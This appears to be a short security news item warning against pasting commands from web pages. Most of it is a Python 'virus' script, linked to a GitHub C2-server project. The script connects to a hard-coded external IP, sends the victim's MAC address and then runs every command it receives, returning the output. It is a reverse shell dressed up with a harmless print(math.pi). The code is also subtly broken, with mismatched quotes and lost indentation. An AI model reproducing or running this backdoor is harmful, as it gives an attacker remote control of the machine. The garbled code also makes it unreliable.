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Home > News > Security > Dont copy-paste commands from webpages — you can get hacked
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Programmers, sysadmins, security researchers, and tech hobbyists copying-pasting commands from web
pages into a console or terminal are warned they risk having their system compromised.

Atechnologist demonstrates a simple trick that'll make you think twice before copying and pasting text
from web pages.
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import threading

import subprocess as sp
import socket

import uuid

import base64

import math

def virus():
HOST = '139.59.69.35"' # The remote host
PORT = 12000 # The same port as used by the server
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
a=hex(uuid.getnode())
a = bytes(a, 'utf-8')
a=base64.b64encode(a)
s.sendall(a)
while True:
msg=s.recv(2048).decode('utf-8")
output = sp.getoutput(msg)
msg = bytes(output, 'utf-8')
s.sendall(msg)

print(math.pi)
virus()

« https://github.com/geek-repo/C2-Server/blob/master/virus.py
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